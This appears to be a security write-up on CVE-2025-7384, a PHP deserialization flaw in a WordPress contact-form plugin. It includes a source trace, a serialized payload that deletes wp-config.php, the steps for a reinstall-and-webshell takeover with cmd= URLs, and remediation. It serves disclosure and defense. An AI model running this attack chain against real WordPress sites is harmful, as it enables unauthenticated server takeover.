
Plugin: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Critical)
CWE: CWE-502 — Deserialization of Untrusted Data
Authentication Requirement: None (Unauthenticated)
Impact: Remote Code Execution
The "Database for Contact Form 7" plugin (slug: contact-form-entries) version 1.4.3 and below contains a PHP Object Injection vulnerability. When a WordPress administrator views a form record (entry) inside the admin panel, the plugin calls the function maybe_unserialize() directly on data submitted by an unauthenticated user via Contact Form 7, without controlling the list of allowed classes to instantiate.
An attacker does not need to log in — they only need to submit a regular contact form while inserting a serialized PHP object into any form field. This data is stored raw in the database. When an admin opens to view that entry, the deserialization function will instantiate an object of the attacker's choice, triggering magic methods like __destruct() or __wakeup() → executing arbitrary behavior depending on the POP gadgets available in the WordPress environment.
Severity Level: With a suitable POP gadget (for example, a class whose
__destruct()method callsunlink()), an attacker can delete thewp-config.phpfile, reverting WordPress back to its initial installation screen → reinstalling with an administrator account controlled by the attacker → installing a plugin containing a webshell → achieving full Remote Code Execution (RCE) on the server.
PHP uses serialize() to convert an object into a structured text string, and unserialize() to restore the object from that string. When unserialize() receives data from an untrusted source (e.g., user input), an attacker can construct an arbitrary object belonging to any class currently loaded in PHP memory at that moment.
Special methods that PHP automatically invokes during an object's lifecycle. Most important in this context:
__wakeup() — invoked immediately when an object is unserialized__destruct() — invoked when an object is destroyed (goes out of scope, or request ends)__toString() — invoked when an object is cast to a stringA technique of chaining multiple magic methods from existing classes within the application to construct a dangerous sequence of behaviors. The attacker does not write new code — they only manipulate the properties of existing objects so that when magic methods execute, they perform actions unintentional to the developers.
maybe_unserialize() in WordPressA WordPress Core wrapper function. It calls is_serialized() to check if a string is serialized data — if true, it calls unserialize() to restore the object. Problem: this function does not pass the allowed_classes parameter (available since PHP 7.0) to limit which classes are permitted to instantiate.
Start by grepping the entire plugin source code to locate deserialization functions — these are the most dangerous functions in PHP as they can lead to Object Injection:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

The output reveals multiple call sites for maybe_unserialize(), most notably inside includes/data.php line 545 within the verify_val() function:

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
Key Question: Where does the $string variable originate? If it comes from user input without filtering → this is a vulnerability.
Find where verify_val() is invoked. Trace backward in the same data.php file:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string is precisely $v['value'] — values retrieved from the wp_vxcf_leads_detail database table. This function is called when an admin views the details of a form entry.
Next Question: Where does data inside wp_vxcf_leads_detail come from? Who writes it?
From Step 2, we know data is pulled from the database. Next question: who writes data into it? Search for INSERT queries within data.php:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

Open the create_lead() function code (lines 85-103) for details:

At lines 98-99, the value $v — which is the content of a form field (e.g., your-message) — is inserted directly into the database via $wpdb->insert(). The plugin hooks into Contact Form 7's wpcf7_before_send_mail event, so whenever a user submits a form, all fields are stored raw.
Additional check: the plugin does use sanitize_text_field() and sanitize_textarea_field() prior to saving, but these two functions only strip HTML tags and special HTML characters — a serialized payload like O:21:"VulnerableFileHandler":2:{...} contains no HTML tags and thus passes through entirely intact.
At this point, the complete flow is established:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
Root Cause: The
maybe_unserialize()function atdata.php:545is called on data originating from unauthenticated user input, without passingallowed_classes: false. An attacker simply needs to submit a serialized PHP object through theyour-messagefield of a CF7 form → when an admin views the entry, PHP instantiates that object and triggers the__destruct()magic method.
For visual proof, set a breakpoint using Xdebug at line 545 of data.php. After injecting the payload via the form and having the admin view the entry, the debugger pauses exactly at maybe_unserialize():

Variables Panel displays $string holding the attacker's payload:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → payload traveled from form → database → deserialization function without being blockedExecution Line:
$string=maybe_unserialize($string);Call Stack shows the function call sequence:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ Confirms exact analyzed flow: admin views entry → get_entries() → verify_val() → maybe_unserialize().
The attack chain consists of 5 stages. The attacker only needs to execute Stage 1 (form submission). Stages 2-5 occur automatically after an admin views the entry.
The attacker submits a CF7 form with a serialized PHP object in the message field.
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message contains: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail table — sanitize_text_field() does not block serialized stringsAdmin opens Contact Form Entries page → views entry details → plugin calls verify_val() → maybe_unserialize().
VulnerableFileHandler with file_path = "/var/www/html/wp-config.php" and cleanup = true__destruct() → unlink("/var/www/html/wp-config.php")The wp-config.php file is deleted → WordPress loses database connection.
http://target/ → automatically redirects to /wp-admin/setup-config.php (initial setup screen)The attacker reinstalls WordPress using known (or brute-forced) database credentials.
Install a plugin containing a webshell → execute arbitrary system commands.
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE completedStart the Docker lab containing WordPress + vulnerable plugin:
cd CVE-2025-7384
docker-compose up --build -d
Wait around 40 seconds until logs display LAB READY. Access http://localhost:8181 to verify WordPress is running.
From source code analysis in Section 3, we know:
data.php:545 — maybe_unserialize() on form field valueswp_vxcf_leads_detail — data comes from CF7 formsanitize_text_field() — does not block serialized strings→ Conclusion: simply submit a serialized PHP object into any field of the CF7 form. Pick your-message since it is a textarea, accepts long strings, and has less format validation (unlike your-email requiring email format).
Access http://localhost:8181/contact/, fill out form as follows:
| Field | Value |
|---|---|
| Your name | dung |
| Your email | [email protected] |
| Subject | test inject |
| Your message | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

Payload Explanation:
O:21:"VulnerableFileHandler" — instantiates class VulnerableFileHandler (which has __destruct() calling unlink())s:9:"file_path";s:27:"/var/www/html/wp-config.php" — file_path property points to target file to deletes:7:"cleanup";b:1 — property cleanup = true so __destruct() executes unlink()Click Submit. The form shows a mail sending error message (or success) — irrelevant, as contact-form-entries plugin already saved all data to the database before mail delivery.
Log in to http://localhost:8181/wp-admin (admin / admin123) → left menu select CRM Entries → click to view the received entry.

This is the exact moment execution reaches data.php:545 — plugin fetches your-message value from database, is_serialized() check returns true, calls maybe_unserialize() → PHP creates VulnerableFileHandler object → request terminates, __destruct() executes → unlink("/var/www/html/wp-config.php").
Navigate to http://localhost:8181/ in browser → WordPress redirects to /wp-admin/setup-config.php page (initial setup screen) → wp-config.php file successfully deleted.

With wp-config.php deleted, WordPress reverts to uninstalled state. Attacker steps:
Step 1 — Reinstall WordPress:
Access http://localhost:8181/wp-admin/setup-config.php → enter database credentials:
| Field | Value |
|---|---|
| Database Name | wordpress |
| Username | wpuser |
| Password | wppass |
| Database Host | db |
| Table Prefix |
Click Submit → Run the installation → create new admin account controlled by attacker.
Step 2 — Upload Webshell:
Log in to admin dashboard → Plugins → Add New → Upload Plugin → upload system-health.zip file (or system-monitor.zip).

Upload and Activate successful.
Step 3 — Execute Commands (RCE):
Access: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

Output: uid=33(www-data) gid=33(www-data) → Remote Code Execution Completed
Access: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

Output: www-data → Remote Code Execution Completed
*User Interaction: NVD rates as None because an admin viewing form entries is expected behavior, not anomalous user interaction.
Do not use maybe_unserialize() on user-supplied data. Use json_decode() instead when structured data storage is required.
If deserialization is strictly necessary, supply the allowed_classes: false option (PHP 7.0+):
$data = unserialize($string, ['allowed_classes' => false]);
This prevents PHP from instantiating any objects — allowing only scalar types and arrays.
/^[OaCis]:\d+/ (indicator of serialized data).wp_vxcf_leads_detail database table for entries containing strings matching O:XX:"ClassName": format — presence indicates attack attemptswp-config.php has restrictive file permissions (440 or 400) — reducing probability of deletion by web server process// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}
| Attribute | Value |
|---|
| CVE ID | CVE-2025-7384 |
| CVSS Score | 9.8 (Critical) |
| CWE | CWE-502 — Deserialization of Untrusted Data |
| Affected Plugin | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| Authentication Requirement | None — anyone submitting a CF7 form can inject payload |
| Trigger Condition | Admin views the injected entry in the admin panel |
| Maximum Impact | Unauthenticated Remote Code Execution |
| Patched Version | 1.4.4+ (replaces unserialize with json_decode or allowed_classes: false) |
| wp_ |
| CVSS Metric | Value | Explanation |
|---|
| Attack Vector | Network | Exploited over HTTP, no physical access needed |
| Attack Complexity | Low | Requires sending only 1 POST request containing payload |
| Privileges Required | None | No authentication required — CF7 form open to public |
| User Interaction | None* | Admin views entries during routine workflow |
| Confidentiality | High | RCE permits reading any file on the server |
| Integrity | High | RCE permits writing/modifying any file |
| Availability | High | Deleting wp-config.php crashes entire website |